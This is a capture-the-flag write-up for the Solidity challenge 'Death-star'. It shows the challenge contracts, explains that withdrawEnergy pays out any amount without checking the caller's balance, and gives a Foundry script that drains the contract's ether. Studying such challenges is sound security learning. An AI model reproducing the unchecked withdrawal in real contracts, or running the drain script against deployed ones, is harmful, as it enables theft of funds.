Writeup for Death-star
- Before diving into this writeup, it’s crucial to have a solid understanding of Foundry, a powerful framework for Ethereum smart contract development. Foundry will be your primary tool for writing, testing, and breaking contracts in this guide.
Challenge Description
The Death Start is under development but the darkside ran out of funds, so they reached out to the public to help. Can you stop the Death Star from being developed?
Author: MaanVad3r
The Challenge and Exploit
The below are source contracts
- Setup contract
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.18;
3
4import "./DeathStar.sol";
5import "./DarksidePool.sol";
6
7contract Setup {
8 DeathStar public deathStar;
9 DarksidePool public darksidePool;
10
11 constructor() payable {
12 require(msg.value == 20 ether, "Setup requires 20 ETH");
13
14
15 deathStar = new DeathStar();
16 (bool success1, ) = address(deathStar).call{value: 10 ether}("");
17 require(success1, "Failed to fund DeathStar");
18
19
20 darksidePool = new DarksidePool(address(deathStar));
21 (bool success2, ) = address(darksidePool).call{value: 10 ether}("");
22 require(success2, "Failed to fund DarksidePool");
23
24
25 require(address(deathStar).balance > 0, "DeathStar must have initial balance");
26 }
27
28 function isSolved() external view returns (bool) {
29 return address(deathStar).balance == 0;
30 }
31}
- DeathStar contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.18;
3
4contract DeathStar {
5 mapping(address => uint256) public balances;
6
7 function deposit() external payable {
8 require(msg.value > 0, "Must deposit non-zero ETH");
9 balances[msg.sender] += msg.value;
10 }
11
12
13 function getBalance() public view returns (uint256) {
14 return address(this).balance;
15 }
16
17
18 function calculateDeathStarEnergy(uint256 input) public pure returns (uint256) {
19 uint256 energy;
20 assembly {
21 let factor := 0x42
22 energy := mul(input, factor)
23 energy := add(energy, 0x5a)
24 }
25 return energy;
26 }
27
28
29 function encodeDeathStarPlans(bytes memory data) public pure returns (bytes memory) {
30 bytes memory encoded;
31 assembly {
32 let len := mload(data)
33 encoded := mload(0x40)
34 mstore(0x40, add(encoded, add(len, 0x20)))
35 mstore(encoded, len)
36 let ptr := add(encoded, 0x20)
37 for { let i := 0 } lt(i, len) { i := add(i, 1) } {
38 let char := byte(0, mload(add(data, add(i, 0x20))))
39 mstore8(add(ptr, i), xor(char, 0xff))
40 }
41 }
42 return encoded;
43 }
44
45
46 function withdrawEnergy(uint256 amount) external {
47
48
49 (bool success, ) = msg.sender.call{value: amount}("");
50 require(success, "Transfer failed");
51
52 balances[msg.sender] = 0;
53 }
54
55
56 function selfDestructCountdown(uint256 start) public pure returns (uint256) {
57 uint256 countdown;
58 assembly {
59 countdown := start
60 for { } gt(countdown, 0) { countdown := sub(countdown, 1) } {
61
62 let waste := mul(countdown, countdown)
63 waste := add(waste, 0xdeadbeef)
64 }
65 }
66 return countdown;
67 }
68
69
70 function decryptDeathStarMessage(bytes32 encrypted) public pure returns (bytes32) {
71 bytes32 decrypted;
72 assembly {
73 decrypted := xor(encrypted, 0x0123456789abcdef0123456789abcdef)
74 }
75 return decrypted;
76 }
77
78 receive() external payable {}
79
80}
- DarkSidePool
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.18;
3
4interface IDeathStar {
5 function deposit() external payable;
6 function withdrawEnergy(uint256 amount) external;
7}
8
9contract DarksidePool {
10 IDeathStar public starWarsTheme;
11
12 constructor(address _starWarsTheme) {
13 starWarsTheme = IDeathStar(_starWarsTheme);
14 }
15
16 function depositToStarWars() external payable {
17 require(msg.value > 0, "Must send ETH to deposit");
18 starWarsTheme.deposit{value: msg.value}();
19 }
20
21
22
23
24 function generateDarkSidePower(uint256 input) public pure returns (uint256) {
25 uint256 powerLevel;
26 assembly {
27 let basePower := 0x66
28 powerLevel := mul(input, basePower)
29 powerLevel := xor(powerLevel, 0xdeadbeef)
30 }
31 return powerLevel;
32 }
33
34
35 function encryptSithHolocron(bytes memory data) public pure returns (bytes memory) {
36 bytes memory encrypted;
37 assembly {
38 let len := mload(data)
39 encrypted := mload(0x40)
40 mstore(0x40, add(encrypted, add(len, 0x20)))
41 mstore(encrypted, len)
42 let ptr := add(encrypted, 0x20)
43 for { let i := 0 } lt(i, len) { i := add(i, 1) } {
44 let char := byte(0, mload(add(data, add(i, 0x20))))
45 mstore8(add(ptr, i), xor(char, 0xa5)) // XOR with 0xa5 for obfuscation
46 }
47 }
48 return encrypted;
49 }
50
51 function withdrawFromStarWars(uint256 amount) external {
52 starWarsTheme.withdrawEnergy(amount);
53 }
54
55
56 function simulateDarkSideCorruption(uint256 start) public pure returns (uint256) {
57 uint256 corruptionLevel;
58 assembly {
59 corruptionLevel := start
60 for { } gt(corruptionLevel, 0) { corruptionLevel := sub(corruptionLevel, 1) } {
61
62 let chaos := mul(corruptionLevel, corruptionLevel)
63 chaos := add(chaos, 0x42)
64 }
65 }
66 return corruptionLevel;
67 }
68
69
70 function decodeSithProphecy(bytes32 encrypted) public pure returns (bytes32) {
71 bytes32 decoded;
72 assembly {
73 decoded := xor(encrypted, 0xdeadbeefcafebabe1234567890abcdef)
74 }
75 return decoded;
76 }
77
78
79 function calculateForceImbalance(uint256 darkForce, uint256 lightForce) public pure returns (uint256) {
80 uint256 imbalance;
81 assembly {
82 imbalance := sub(darkForce, lightForce)
83 imbalance := xor(imbalance, 0xbeef)
84 }
85 return imbalance;
86 }
87
88 receive() external payable {}
89
90}
The Setup contract initializes both the Deathstar
and DarksidePool
contracts with 10 ether each. Our task is to make Setup:isSolved
return true. This function will return true only when the balance of Deathstar becomes zero. Therefore, we need to find a way to drain the balance of Deathstar in order to solve the challenge.
1function withdrawEnergy(uint256 amount) external {
2
3
4 (bool success, ) = msg.sender.call{value: amount}("");
5 require(success, "Transfer failed");
6
7 balances[msg.sender] = 0;
8}
In the DeathStar:withdrawEnergy
function, it takes an amount parameter as input. The function then transfers the specified amount to the msg.sender (the caller) using a low-level call function. After the transfer, it updates the balance of msg.sender to zero.
So, if we simply call this function and pass 10 ether
as the amount, the contract’s balance will be drained.
The below is the exploit script.
1// SPDX-License-Identifier: SEE LICENSE IN LICENSE
2pragma solidity ^0.8.0;
3
4import {Script} from "forge-std/Script.sol";
5
6interface IDeathStar{
7 function withdrawEnergy(uint256 amount) external;
8}
9
10interface ISetup{
11 function deathStar() external view returns(IDeathStar);
12}
13
14contract createExploit is Script{
15 function run()public{
16 address _setup=/* YOUR+_SETUP_ADDRESS*/;
17 vm.startBroadcast();
18 ISetup setup=ISetup(_setup);
19 IDeathStar deathStar=setup.deathStar();
20 deathStar.withdrawEnergy(10 ether);
21 vm.stopBroadcast();
22 }
23}
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments